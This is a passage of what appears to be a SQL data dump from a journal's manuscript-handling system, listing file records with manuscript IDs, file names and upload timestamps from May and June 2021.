14:47:40',1,3,0),(17149,8068,'8068-Manuscript-2021-05-18-h0ay-ipaom-21-8068.rar',NULL,'2021-05-18 15:07:58',1,3,1),(17173,8553,'8553-0-Manuscript-2021-05-19.docx',NULL,'2021-05-19 06:35:01',1,1,0),(17183,8068,'8068-Manuscript-2021-05-19-asoi-graphic-completed.pdf',NULL,'2021-05-19 06:58:55',1,3,0),(17189,7871,'7871-Manuscript-2021-05-19-tud7-graphic-completed.pdf',NULL,'2021-05-19 08:22:19',1,3,0),(17196,8323,'8323-Manuscript-2021-05-19-chrw.pdf',NULL,'2021-05-19 09:10:27',1,3,0),(17214,7871,'7871-Manuscript-2021-05-19-nuhg.pdf',NULL,'2021-05-19 14:09:57',1,3,0),(17218,8068,'8068-Manuscript-2021-05-19-oivm.pdf',NULL,'2021-05-19 14:54:18',1,3,0),(17224,8359,'8359-433-Manuscript-2021-05-20.docx',NULL,'2021-05-20 03:43:01',1,2,0),(17249,8571,'8571-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 06:04:01',1,1,0),(17250,8572,'8572-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 06:37:32',1,1,0),(17251,7871,'7871-Manuscript-2021-05-20-i4fk-ap-ame-revised.pdf',NULL,'2021-05-20 06:57:08',1,3,0),(17261,7871,'7871-Manuscript-2021-05-20-40co.pdf',NULL,'2021-05-20 09:36:13',1,3,0),(17272,8579,'8579-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 12:26:12',1,1,0),(17275,8581,'8581-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 12:29:53',1,1,0),(17276,8582,'8582-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 12:32:33',1,1,0),(17277,8583,'8583-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 12:33:54',1,1,0),(17278,8584,'8584-0-Manuscript-2021-05-20.docx',NULL,'2021-05-20 12:37:38',1,1,0),(17286,8588,'8588-0-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:07:22',1,1,0),(17287,8589,'8589-0-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:12:00',1,1,0),(17289,8591,'8591-0-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:27:28',1,1,0),(17290,8592,'8592-0-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:36:48',1,1,0),(17291,8593,'8593-0-Manuscript-2021-05-21.doc',NULL,'2021-05-20 23:52:27',1,1,0),(17292,8593,'8593-1-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:52:27',1,1,0),(17293,8593,'8593-2-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:52:27',1,1,0),(17294,8593,'8593-3-Manuscript-2021-05-21.docx',NULL,'2021-05-20 23:52:27',1,1,0),(17295,8594,'8594-0-Manuscript-2021-05-21.docx',NULL,'2021-05-21 00:05:51',1,1,0),(17296,8594,'8594-1-Manuscript-2021-05-21.docx',NULL,'2021-05-21 00:05:51',1,1,0),(17297,8594,'8594-2-Manuscript-2021-05-21.docx',NULL,'2021-05-21 00:05:51',1,1,0),(17298,8595,'8595-0-Manuscript-2021-05-21.docx',NULL,'2021-05-21 00:12:55',1,1,0),(17299,8086,'8086-1178-Manuscript-proof-submission-2021-05-21.rar',NULL,'2021-05-21 04:15:34',1,3,0),(17307,8596,'8596-0-Manuscript-2021-05-21.docx',NULL,'2021-05-21 06:55:07',1,1,0),(17309,8598,'8598-0-Manuscript-2021-05-21.docx',NULL,'2021-05-21 06:58:20',1,1,0),(17327,8068,'8068-Manuscript-2021-05-21-a6sp-graphic-completed.pdf',NULL,'2021-05-21 09:42:37',1,3,0),(17352,7979,'7979-2020-Manuscript-proof-submission-2021-05-21.rar',NULL,'2021-05-21 13:44:33',1,3,0),(17353,8068,'8068-Manuscript-2021-05-21-b7u4.pdf',NULL,'2021-05-21 13:49:17',1,3,1),(17357,7980,'7980-307-Manuscript-proof-submission-2021-05-21.rar',NULL,'2021-05-21 14:42:08',1,3,0),(17358,7980,'7980-43-Manuscript-proof-submission-2021-05-21.rar',NULL,'2021-05-21 14:42:13',1,3,0),(17359,7980,'7980-235-Manuscript-proof-submission-2021-05-21.rar',NULL,'2021-05-21 14:42:17',1,3,0),(17360,7980,'7980-1526-Manuscript-proof-submission-2021-05-21.rar',NULL,'2021-05-21 14:42:20',1,3,0),(17366,8244,'8244-70-Manuscript-2021-05-22.docx',NULL,'2021-05-21 23:40:43',1,1,0),(17387,7979,'7979-Manuscript-2021-05-22-gk5i-iphsj-21-7979.PNG',NULL,'2021-05-22 07:33:25',1,3,0),(17392,8086,'8086-Manuscript-2021-05-22-usx6-iphsj-21-8086.rar',NULL,'2021-05-22 07:44:50',1,3,1),(17393,8625,'8625-0-Manuscript-2021-05-22.docx',NULL,'2021-05-22 07:47:24',1,1,0),(17402,8417,'8417-859-Manuscript-proof-submission-2021-05-22.docx',NULL,'2021-05-22 08:49:23',1,3,0),(17403,8475,'8475-165-Manuscript-proof-submission-2021-05-22.docx',NULL,'2021-05-22 08:49:41',1,3,0),(17413,8631,'8631-0-Manuscript-2021-05-22.docx',NULL,'2021-05-22 13:56:36',1,1,0),(17419,8633,'8633-0-Manuscript-2021-05-23.docx',NULL,'2021-05-23 05:57:58',1,1,0),(17420,8634,'8634-0-Manuscript-2021-05-23.docx',NULL,'2021-05-23 11:00:51',1,1,0),(17421,8634,'8634-1-Manuscript-2021-05-23.docx',NULL,'2021-05-23 11:00:51',1,1,0),(17428,8417,'8417-Manuscript-2021-05-23-kl72-IPJUS-21-8417.docx',NULL,'2021-05-23 11:50:11',1,3,0),(17429,8475,'8475-Manuscript-2021-05-23-dx6j-IPJUS-21-8475.docx',NULL,'2021-05-23 11:50:22',1,3,0),(17436,8174,'8174-885-Manuscript-2021-05-24.docx',NULL,'2021-05-23 21:54:22',1,1,0),(17437,8436,'8436-1142-Manuscript-proof-submission-2021-05-24.zip',NULL,'2021-05-24 03:11:03',1,3,0),(17439,8095,'8095-Manuscript-2021-05-24-adve-ap-ame-revised.rar',NULL,'2021-05-24 04:02:45',1,3,0),(17440,7979,'7979-Manuscript-2021-05-24-zfyj-ap-ame-revised.rar',NULL,'2021-05-24 04:05:33',1,3,0),(17449,8389,'8389-311-Manuscript-2021-05-24.docx',NULL,'2021-05-24 04:56:10',1,1,1),(17450,8389,'8389-966-Manuscript-2021-05-24.docx',NULL,'2021-05-24 04:56:10',1,1,0),(17451,8224,'8224-1985-Manuscript-2021-05-24.docx',NULL,'2021-05-24 05:01:10',1,1,0),(17459,7903,'7903-Manuscript-2021-05-24-jhyb-graphic-completed.pdf',NULL,'2021-05-24 05:35:49',1,3,0),(17461,8086,'8086-Manuscript-2021-05-24-azqc-graphic-completed.pdf',NULL,'2021-05-24 05:48:30',1,3,1),(17463,8638,'8638-0-Manuscript-2021-05-24.docx',NULL,'2021-05-24 05:54:03',1,1,0),(17470,8302,'8302-Manuscript-2021-05-24-zkm4-ijddr-21-8302.docx',NULL,'2021-05-24 06:22:53',1,3,0),(17471,7356,'7356-Manuscript-2021-05-24-u9mb.pdf',NULL,'2021-05-24 06:24:36',1,3,0),(17472,7356,'7356-Manuscript-2021-05-24-nvdh.pdf',NULL,'2021-05-24 06:26:08',1,3,0),(17479,8241,'8241-Manuscript-2021-05-24-3t42-move-pdf-making.docx',NULL,'2021-05-24 07:03:25',1,3,0),(17480,8297,'8297-Manuscript-2021-05-24-fs3z-move-pdf-making.docx',NULL,'2021-05-24 07:05:12',1,3,0),(17482,8302,'8302-Manuscript-2021-05-24-k6cs-move-pdf-making.docx',NULL,'2021-05-24 07:07:01',1,3,0),(17485,8297,'8297-Manuscript-2021-05-24-jf7u-rsuite-revised.pdf',NULL,'2021-05-24 07:32:47',1,3,0),(17487,8302,'8302-Manuscript-2021-05-24-d3hc-rsuite-revised.docx',NULL,'2021-05-24 07:34:42',1,3,0),(17488,8302,'8302-Manuscript-2021-05-24-e49s-rsuite-revised.pdf',NULL,'2021-05-24 07:35:12',1,3,0),(17489,8297,'8297-Manuscript-2021-05-24-rzwu-rsuite-revised.docx',NULL,'2021-05-24 07:36:42',1,3,0),(17528,8436,'8436-Manuscript-2021-05-24-2zmx-ipjnn-21-8436.rar',NULL,'2021-05-24 09:18:55',1,3,0),(17557,8174,'8174-Manuscript-2021-05-24-ks4r-ipaom-21-8174.rar',NULL,'2021-05-24 12:34:49',1,3,0),(17559,8435,'8435-1865-Manuscript-proof-submission-2021-05-24.rar',NULL,'2021-05-24 12:48:33',1,3,0),(17571,8660,'8660-0-Manuscript-2021-05-24.docx',NULL,'2021-05-24 14:54:28',1,1,0),(17585,8174,'8174-1055-Manuscript-2021-05-25.docx',NULL,'2021-05-25 00:55:39',1,1,0),(17591,8435,'8435-Manuscript-2021-05-25-dxeq-iphsj-21-8435.rar',NULL,'2021-05-25 03:50:20',1,3,1),(17592,8435,'8435-Manuscript-2021-05-25-xuad-graphic-completed.pdf',NULL,'2021-05-25 04:50:04',1,3,1),(17595,7979,'7979-Manuscript-2021-05-25-p4h1-iphsj-21-7979.rar',NULL,'2021-05-25 05:12:44',1,3,1),(17596,7980,'7980-Manuscript-2021-05-25-25xc-iphsj-21-7980.rar',NULL,'2021-05-25 05:13:35',1,3,1),(17597,8095,'8095-Manuscript-2021-05-25-ydhk-iphsj-21-8095.rar',NULL,'2021-05-25 05:15:36',1,3,1),(17601,8631,'8631-1231-Manuscript-proof-submission-2021-05-25.docx',NULL,'2021-05-25 05:34:40',1,3,0),(17602,8631,'8631-1461-Manuscript-proof-submission-2021-05-25.docx',NULL,'2021-05-25 05:34:46',1,3,0),(17654,8631,'8631-Manuscript-2021-05-25-zktw-IPJUS-21-8631.docx',NULL,'2021-05-25 17:35:16',1,3,0),(17671,8389,'8389-316-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:12:23',1,3,1),(17672,8389,'8389-1215-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:12:23',1,3,1),(17673,8389,'8389-19-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:12:23',1,3,1),(17674,8389,'8389-339-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:12:23',1,3,1),(17675,8389,'8389-791-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:12:23',1,3,1),(17676,8224,'8224-796-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:14:40',1,3,1),(17677,8224,'8224-859-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:14:40',1,3,0),(17678,8224,'8224-709-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:14:40',1,3,0),(17679,8224,'8224-544-Manuscript-proof-submission-2021-05-26.docx',NULL,'2021-05-26 05:14:40',1,3,0),(17724,8114,'8114-727-Manuscript-proof-submission-2021-05-26.zip',NULL,'2021-05-26 10:31:13',1,3,0),(17725,8114,'8114-1801-Manuscript-proof-submission-2021-05-26.PNG',NULL,'2021-05-26 10:31:13',1,3,0),(17726,8114,'8114-1258-Manuscript-proof-submission-2021-05-26.PNG',NULL,'2021-05-26 10:31:13',1,3,0),(17727,8114,'8114-288-Manuscript-proof-submission-2021-05-26.PNG',NULL,'2021-05-26 10:31:13',1,3,0),(17728,8408,'8408-683-Manuscript-proof-submission-2021-05-26.zip',NULL,'2021-05-26 10:47:19',1,3,0),(17735,7979,'7979-Manuscript-2021-05-26-8gcw-graphic-completed.pdf',NULL,'2021-05-26 12:21:07',1,3,1),(17736,7980,'7980-Manuscript-2021-05-26-9s5o-graphic-completed.pdf',NULL,'2021-05-26 12:21:31',1,3,1),(17737,8095,'8095-Manuscript-2021-05-26-f6up-graphic-completed.pdf',NULL,'2021-05-26 12:21:46',1,3,1),(17741,8696,'8696-0-Manuscript-2021-05-26.docx',NULL,'2021-05-26 12:59:21',1,1,0),(17743,8408,'8408-Manuscript-2021-05-26-zk94-ipaom-21-8408.rar',NULL,'2021-05-26 13:15:49',1,3,1),(17747,8700,'8700-0-Manuscript-2021-05-26.docx',NULL,'2021-05-26 14:52:48',1,1,0),(17750,8703,'8703-0-Manuscript-2021-05-26.docx',NULL,'2021-05-26 15:06:24',1,1,0),(17751,8704,'8704-0-Manuscript-2021-05-26.docx',NULL,'2021-05-26 16:14:39',1,1,0),(17759,8707,'8707-0-Manuscript-2021-05-27.docx',NULL,'2021-05-26 22:10:24',1,1,0),(17761,8417,'8417-Manuscript-2021-05-27-cbqs-graphic-completed.pdf',NULL,'2021-05-27 03:08:41',1,3,1),(17762,8475,'8475-Manuscript-2021-05-27-uknq-graphic-completed.pdf',NULL,'2021-05-27 03:14:03',1,3,0),(17763,8631,'8631-Manuscript-2021-05-27-zmo6-graphic-completed.pdf',NULL,'2021-05-27 03:18:44',1,3,0),(17773,8449,'8449-2003-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 05:54:24',1,3,0),(17774,8449,'8449-966-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 05:54:27',1,3,0),(17775,8449,'8449-47-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 05:54:30',1,3,0),(17781,8244,'8244-1717-Manuscript-proof-submission-2021-05-27.zip',NULL,'2021-05-27 07:19:47',1,3,0),(17782,8244,'8244-421-Manuscript-proof-submission-2021-05-27.zip',NULL,'2021-05-27 07:19:57',1,3,0),(17783,8202,'8202-933-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 07:51:51',1,3,0),(17784,8202,'8202-1504-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 07:51:51',1,3,0),(17785,8171,'8171-762-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 07:53:17',1,3,1),(17786,8171,'8171-51-Manuscript-proof-submission-2021-05-27.docx',NULL,'2021-05-27 07:53:17',1,3,0),(17794,8436,'8436-Manuscript-2021-05-27-gvdf-graphic-completed.pdf',NULL,'2021-05-27 09:10:45',1,3,0),(17800,8436,'8436-Manuscript-2021-05-27-oe9h.pdf',NULL,'2021-05-27 09:41:22',1,3,0),(17835,8588,'8588-1609-Manuscript-2021-05-28.docx',NULL,'2021-05-27 18:44:11',1,2,0),(17837,8224,'8224-Manuscript-2021-05-28-jank-graphic-completed.pdf',NULL,'2021-05-27 19:25:12',1,3,1),(17838,8389,'8389-Manuscript-2021-05-28-lkrh-graphic-completed.pdf',NULL,'2021-05-27 19:25:59',1,3,1),(17840,8729,'8729-0-Manuscript-2021-05-28.doc',NULL,'2021-05-27 21:45:03',1,1,0),(17845,8174,'8174-Manuscript-2021-05-28-le3q-graphic-completed.pdf',NULL,'2021-05-28 04:49:05',1,3,1),(17846,8173,'8173-1417-Manuscript-proof-submission-2021-05-28.rar',NULL,'2021-05-28 04:53:35',1,3,0),(17851,8490,'8490-103-Manuscript-proof-submission-2021-05-28.zip',NULL,'2021-05-28 05:23:37',1,3,0),(17906,8738,'8738-0-Manuscript-2021-05-28.docx',NULL,'2021-05-28 12:09:08',1,1,0),(17912,8490,'8490-Manuscript-2021-05-28-4erl-ipaom-21-8490.rar',NULL,'2021-05-28 12:34:20',1,3,1),(17917,8244,'8244-Manuscript-2021-05-28-hw4p-IPJUS-21-8244.rar',NULL,'2021-05-28 13:31:32',1,3,0),(17918,8742,'8742-0-Manuscript-2021-05-28.docx',NULL,'2021-05-28 13:56:54',1,1,0),(17925,8173,'8173-Manuscript-2021-05-28-hdal-iphsj-21-8173.rar',NULL,'2021-05-28 18:09:41',1,3,1),(17929,8442,'8442-1855-Manuscript-2021-05-29.docx',NULL,'2021-05-28 21:27:19',1,2,0),(17931,8484,'8484-2021-Manuscript-proof-submission-2021-05-29.docx',NULL,'2021-05-29 03:41:58',1,3,0),(17932,8484,'8484-1858-Manuscript-proof-submission-2021-05-29.docx',NULL,'2021-05-29 03:41:58',1,3,0),(17933,8484,'8484-1521-Manuscript-proof-submission-2021-05-29.docx',NULL,'2021-05-29 03:42:00',1,3,0),(17934,8484,'8484-1092-Manuscript-proof-submission-2021-05-29.docx',NULL,'2021-05-29 03:42:00',1,3,0),(17949,8173,'8173-Manuscript-2021-05-29-6nxk-graphic-completed.pdf',NULL,'2021-05-29 07:10:52',1,3,1),(17950,8202,'8202-Manuscript-2021-05-29-3v04-ijddr-21-8202.docx',NULL,'2021-05-29 07:29:59',1,3,0),(17951,8171,'8171-Manuscript-2021-05-29-xvg3-ijddr-21-8171.docx',NULL,'2021-05-29 07:33:17',1,3,0),(17952,8752,'8752-0-Manuscript-2021-05-29.pdf',NULL,'2021-05-29 07:33:43',1,1,0),(17955,8241,'8241-Manuscript-2021-05-29-g4pi.pdf',NULL,'2021-05-29 07:41:26',1,3,1),(17956,8297,'8297-Manuscript-2021-05-29-x6ro.pdf',NULL,'2021-05-29 07:42:28',1,3,1),(17957,8753,'8753-0-Manuscript-2021-05-29.docx',NULL,'2021-05-29 07:51:15',1,1,0),(17965,8302,'8302-Manuscript-2021-05-29-ahgq.pdf',NULL,'2021-05-29 09:45:06',1,3,1),(17993,8766,'8766-0-Manuscript-2021-05-29.docx',NULL,'2021-05-29 17:50:04',1,1,0),(17996,8381,'8381-1537-Manuscript-2021-05-30.docx',NULL,'2021-05-29 23:27:26',1,1,0),(18004,8771,'8771-0-Manuscript-2021-05-31.docx',NULL,'2021-05-30 19:52:17',1,1,0),(18031,7926,'7926-682-Manuscript-proof-submission-2021-05-31.zip',NULL,'2021-05-31 07:37:51',1,3,0),(18032,7926,'7926-198-Manuscript-proof-submission-2021-05-31.zip',NULL,'2021-05-31 07:37:54',1,3,0),(18059,7926,'7926-Manuscript-2021-05-31-co6h-ipjnn-21-7926.rar',NULL,'2021-05-31 10:25:48',1,3,0),(18065,8408,'8408-Manuscript-2021-05-31-jswa-graphic-completed.pdf',NULL,'2021-05-31 10:54:48',1,3,0),(18072,8490,'8490-Manuscript-2021-05-31-1tzv-graphic-completed.pdf',NULL,'2021-05-31 11:14:10',1,3,0),(18073,7926,'7926-Manuscript-2021-05-31-amkl-move-pdf-making.doc',NULL,'2021-05-31 11:16:30',1,3,0),(18074,7926,'7926-Manuscript-2021-05-31-zqw6-move-pdf-making.doc',NULL,'2021-05-31 11:17:17',1,3,0),(18075,8436,'8436-Manuscript-2021-05-31-k8l5-graphic-completed.pdf',NULL,'2021-05-31 12:10:55',1,3,0),(18076,8783,'8783-0-Manuscript-2021-05-31.docx',NULL,'2021-05-31 12:24:13',1,1,0),(18079,8436,'8436-Manuscript-2021-05-31-o874.pdf',NULL,'2021-05-31 13:18:25',1,3,0),(18080,8408,'8408-Manuscript-2021-05-31-w0bf.pdf',NULL,'2021-05-31 13:19:35',1,3,0),(18105,8244,'8244-Manuscript-2021-06-01-4hjz-graphic-completed.pdf',NULL,'2021-06-01 03:02:59',1,3,1),(18119,8541,'8541-1465-Manuscript-proof-submission-2021-06-01.zip',NULL,'2021-06-01 04:24:17',1,3,0),(18126,8408,'8408-Manuscript-2021-06-01-0uk4-graphic-completed.pdf',NULL,'2021-06-01 06:50:23',1,3,0),(18137,8789,'8789-0-Manuscript-2021-06-01.docx',NULL,'2021-06-01 08:45:18',1,1,0),(18152,8742,'8742-1031-Manuscript-2021-06-01.docx',NULL,'2021-06-01 10:11:03',1,2,0),(18158,8783,'8783-928-Manuscript-proof-submission-2021-06-01.docx',NULL,'2021-06-01 11:24:54',1,3,0),(18159,8531,'8531-567-Manuscript-proof-submission-2021-06-01.docx',NULL,'2021-06-01 11:39:44',1,3,1),(18160,8532,'8532-1892-Manuscript-proof-submission-2021-06-01.docx',NULL,'2021-06-01 11:40:47',1,3,1),(18164,8408,'8408-Manuscript-2021-06-01-e5sz.pdf',NULL,'2021-06-01 13:50:14',1,3,0),(18166,8783,'8783-Manuscript-2021-06-01-o3l2-ipaom-21-8783.docx',NULL,'2021-06-01 15:23:54',1,3,0),(18167,8541,'8541-Manuscript-2021-06-01-qbl0-ipaom-21-8541.rar',NULL,'2021-06-01 15:36:24',1,3,1),(18184,8797,'8797-0-Manuscript-2021-06-02.docx',NULL,'2021-06-02 07:33:14',1,1,0),(18199,8229,'8229-376-Manuscript-proof-submission-2021-06-02.rar',NULL,'2021-06-02 10:46:57',1,3,0),(18202,6979,'6979-1776-Manuscript-proof-submission-2021-06-02.rar',NULL,'2021-06-02 13:46:55',1,3,0),(18208,6979,'6979-Manuscript-2021-06-02-5bhc-iphsj-20-6979.rar',NULL,'2021-06-02 15:51:53',1,3,1),(18209,8229,'8229-Manuscript-2021-06-02-fhug-iphsj-21-8229.rar',NULL,'2021-06-02 15:56:31',1,3,1),(18210,8807,'8807-0-Manuscript-2021-06-02.docx',NULL,'2021-06-02 16:58:44',1,1,0),(18212,8229,'8229-Manuscript-2021-06-03-3iju-graphic-completed.pdf',NULL,'2021-06-03 05:19:49',1,3,1),(18213,6979,'6979-Manuscript-2021-06-03-kp6h-graphic-completed.pdf',NULL,'2021-06-03 05:20:11',1,3,1),(18215,8139,'8139-1805-Manuscript-proof-submission-2021-06-03.rar',NULL,'2021-06-03 05:48:48',1,3,1),(18216,8158,'8158-366-Manuscript-proof-submission-2021-06-03.rar',NULL,'2021-06-03 05:49:59',1,3,1),(18217,8321,'8321-87-Manuscript-proof-submission-2021-06-03.rar',NULL,'2021-06-03 05:51:40',1,3,1),(18218,8359,'8359-163-Manuscript-proof-submission-2021-06-03.rar',NULL,'2021-06-03 05:52:17',1,3,1),(18223,8783,'8783-Manuscript-2021-06-03-decs-graphic-completed.pdf',NULL,'2021-06-03 06:52:09',1,3,0),(18225,8541,'8541-Manuscript-2021-06-03-b2fs-graphic-completed.pdf',NULL,'2021-06-03 07:10:57',1,3,0),(18226,7926,'7926-Manuscript-2021-06-03-dphr-graphic-completed.pdf',NULL,'2021-06-03 07:13:40',1,3,0),(18254,8156,'8156-1606-Manuscript-proof-submission-2021-06-03.rar',NULL,'2021-06-03 13:44:18',1,3,0),(18255,8531,'8531-Manuscript-2021-06-03-is30-move-pdf-making.pdf',NULL,'2021-06-03 13:49:22',1,3,1),(18257,8532,'8532-Manuscript-2021-06-03-mkpz-move-pdf-making.pdf',NULL,'2021-06-03 13:49:58',1,3,1),(18261,8531,'8531-Manuscript-2021-06-03-xmkn-move-pdf-making.docx',NULL,'2021-06-03 13:56:02',1,3,0),(18262,8532,'8532-Manuscript-2021-06-03-sh75-move-pdf-making.docx',NULL,'2021-06-03 13:57:01',1,3,0),(18263,8282,'8282-1263-Manuscript-proof-submission-2021-06-03.rar',NULL,'2021-06-03 14:30:29',1,3,0),(18266,8282,'8282-Manuscript-2021-06-03-5q2d-iphsj-21-8282.rar',NULL,'2021-06-03 16:45:09',1,3,1),(18267,8156,'8156-Manuscript-2021-06-03-r4nw-iphsj-21-8156.rar',NULL,'2021-06-03 16:51:53',1,3,1),(18277,8156,'8156-Manuscript-2021-06-04-9lhg-graphic-completed.pdf',NULL,'2021-06-04 05:58:51',1,3,1),(18278,8282,'8282-Manuscript-2021-06-04-fgmn-graphic-completed.pdf',NULL,'2021-06-04 05:59:07',1,3,1),(18282,8553,'8553-241-Manuscript-proof-submission-2021-06-04.docx',NULL,'2021-06-04 07:59:16',1,3,0),(18284,8114,'8114-Manuscript-2021-06-04-3mfu-iptb-21-8114.rar',NULL,'2021-06-04 08:44:59',1,3,0),(18285,8381,'8381-1403-Manuscript-proof-submission-2021-06-04.rar',NULL,'2021-06-04 09:20:27',1,3,1),(18307,7926,'7926-Manuscript-2021-06-04-eduk.pdf',NULL,'2021-06-04 13:11:19',1,3,0),(18308,8541,'8541-Manuscript-2021-06-04-oi23.pdf',NULL,'2021-06-04 13:32:07',1,3,0),(18309,8783,'8783-Manuscript-2021-06-04-j1k3.pdf',NULL,'2021-06-04 13:32:21',1,3,0),(18324,7445,'7445-1790-Manuscript-proof-submission-2021-06-05.rar',NULL,'2021-06-05 07:20:33',1,3,0),(18326,7445,'7445-Manuscript-2021-06-05-vg9n-iphsj-21-7445.rar',NULL,'2021-06-05 07:40:11',1,3,0),(18327,8172,'8172-Manuscript-2021-06-05-12ko-ipacm-21-8172.rar',NULL,'2021-06-05 08:11:39',1,3,1),(18328,8449,'8449-Manuscript-2021-06-05-r38h-ipacm-21-8449.docx',NULL,'2021-06-05 08:12:51',1,3,0),(18329,8484,'8484-Manuscript-2021-06-05-zq0a-ipacm-21-8484.rar',NULL,'2021-06-05 08:14:32',1,3,1),(18340,8830,'8830-0-Manuscript-2021-06-06.docx',NULL,'2021-06-05 20:34:44',1,1,0),(18346,8836,'8836-0-Manuscript-2021-06-06.docx',NULL,'2021-06-06 08:23:44',1,1,0),(18347,8596,'8596-1260-Manuscript-proof-submission-2021-06-06.pdf',NULL,'2021-06-06 13:05:55',1,3,0),(18348,8596,'8596-1415-Manuscript-proof-submission-2021-06-06.docx',NULL,'2021-06-06 13:05:55',1,3,0),(18349,7926,'7926-Manuscript-2021-06-07-0kjc-move-pdf-making.pdf',NULL,'2021-06-07 02:53:40',1,3,0),(18363,8837,'8837-0-Manuscript-2021-06-07.docx',NULL,'2021-06-07 04:39:19',1,1,0),(18365,8838,'8838-0-Manuscript-2021-06-07.docx',NULL,'2021-06-07 05:04:02',1,1,0),(18366,8541,'8541-Manuscript-2021-06-07-7cf9-graphic-completed.pdf',NULL,'2021-06-07 05:07:51',1,3,0),(18367,8783,'8783-Manuscript-2021-06-07-lbhw-graphic-completed.pdf',NULL,'2021-06-07 05:08:27',1,3,0),(18368,8139,'8139-Manuscript-2021-06-07-rf31-graphic-completed.pdf',NULL,'2021-06-07 05:18:17',1,3,1),(18369,8158,'8158-Manuscript-2021-06-07-pqja-graphic-completed.pdf',NULL,'2021-06-07 05:19:01',1,3,1),(18370,8321,'8321-Manuscript-2021-06-07-ukiv-graphic-completed.pdf',NULL,'2021-06-07 05:19:32',1,3,1),(18371,8359,'8359-Manuscript-2021-06-07-hpuw-graphic-completed.pdf',NULL,'2021-06-07 05:20:43',1,3,1),(18372,8381,'8381-Manuscript-2021-06-07-cqf1-graphic-completed.pdf',NULL,'2021-06-07 05:22:11',1,3,1),(18380,7445,'7445-Manuscript-2021-06-07-fnco-move-pdf-making.rar',NULL,'2021-06-07 07:25:48',1,3,1),(18385,8170,'8170-1981-Manuscript-proof-submission-2021-06-07.pdf',NULL,'2021-06-07 08:31:26',1,3,0),(18387,7445,'7445-Manuscript-2021-06-07-0c7q-graphic-completed.pdf',NULL,'2021-06-07 08:57:19',1,3,1),(18388,7926,'7926-Manuscript-2021-06-07-3e1n.pdf',NULL,'2021-06-07 09:02:38',1,3,0),(18394,8442,'8442-534-Manuscript-proof-submission-2021-06-07.rar',NULL,'2021-06-07 10:22:53',1,3,1),(18397,7735,'7735-1349-Manuscript-proof-submission-2021-06-07.rar',NULL,'2021-06-07 11:51:21',1,3,0),(18404,7735,'7735-Manuscript-2021-06-07-aj2r-iphsj-21-7735.rar',NULL,'2021-06-07 16:48:36',1,3,1),(18416,7450,'7450-1805-Manuscript-proof-submission-2021-06-08.rar',NULL,'2021-06-08 05:40:36',1,3,0),(18422,7450,'7450-Manuscript-2021-06-08-wk42-iphsj-21-7450.rar',NULL,'2021-06-08 07:19:01',1,3,1),(18424,7735,'7735-Manuscript-2021-06-08-9p16-graphic-completed.pdf',NULL,'2021-06-08 07:29:48',1,3,1),(18429,8845,'8845-0-Manuscript-2021-06-08.doc',NULL,'2021-06-08 08:45:11',1,1,0),(18438,7450,'7450-Manuscript-2021-06-08-dp4c-graphic-completed.pdf',NULL,'2021-06-08 11:28:20',1,3,1),(18439,8846,'8846-0-Manuscript-2021-06-08.docx',NULL,'2021-06-08 11:31:42',1,1,0),(18444,8797,'8797-1501-Manuscript-proof-submission-2021-06-08.docx',NULL,'2021-06-08 13:52:41',1,3,0),(18446,7990,'7990-13-Manuscript-proof-submission-2021-06-08.rar',NULL,'2021-06-08 14:14:37',1,3,0),(18447,7990,'7990-Manuscript-2021-06-08-xnvw-iphsj-21-7990.rar',NULL,'2021-06-08 14:30:13',1,3,1),(18458,8848,'8848-0-Manuscript-2021-06-09.docx',NULL,'2021-06-08 19:48:15',1,1,0),(18461,8541,'8541-Manuscript-2021-06-09-v7wk-graphic-completed.pdf',NULL,'2021-06-09 03:59:44',1,3,0),(18462,8783,'8783-Manuscript-2021-06-09-uome-graphic-completed.pdf',NULL,'2021-06-09 04:00:28',1,3,0),(18464,7990,'7990-Manuscript-2021-06-09-tu7i-graphic-completed.pdf',NULL,'2021-06-09 05:56:14',1,3,1),(18483,8115,'8115-172-Manuscript-proof-submission-2021-06-09.rar',NULL,'2021-06-09 08:10:33',1,3,0),(18488,8115,'8115-Manuscript-2021-06-09-dpb6-iphsj-21-8115.rar',NULL,'2021-06-09 08:20:16',1,3,1),(18489,8704,'8704-320-Manuscript-proof-submission-2021-06-09.rar',NULL,'2021-06-09 08:49:41',1,3,0),(18500,8704,'8704-Manuscript-2021-06-09-e4xd-iphsj-21-8704.rar',NULL,'2021-06-09 11:22:42',1,3,1),(18501,8115,'8115-Manuscript-2021-06-09-nw5a-graphic-completed.pdf',NULL,'2021-06-09 11:39:14',1,3,1),(18502,8704,'8704-Manuscript-2021-06-09-lgiq-graphic-completed.pdf',NULL,'2021-06-09 11:47:58',1,3,1),(18508,8863,'8863-0-Manuscript-2021-06-09.docx',NULL,'2021-06-09 13:07:48',1,1,0),(18509,8591,'8591-1598-Manuscript-proof-submission-2021-06-09.zip',NULL,'2021-06-09 13:21:27',1,3,0),(18512,8591,'8591-Manuscript-2021-06-09-2gb6-ipaom-21-8591.rar',NULL,'2021-06-09 14:11:21',1,3,0),(18521,8864,'8864-0-Manuscript-2021-06-10.docx',NULL,'2021-06-09 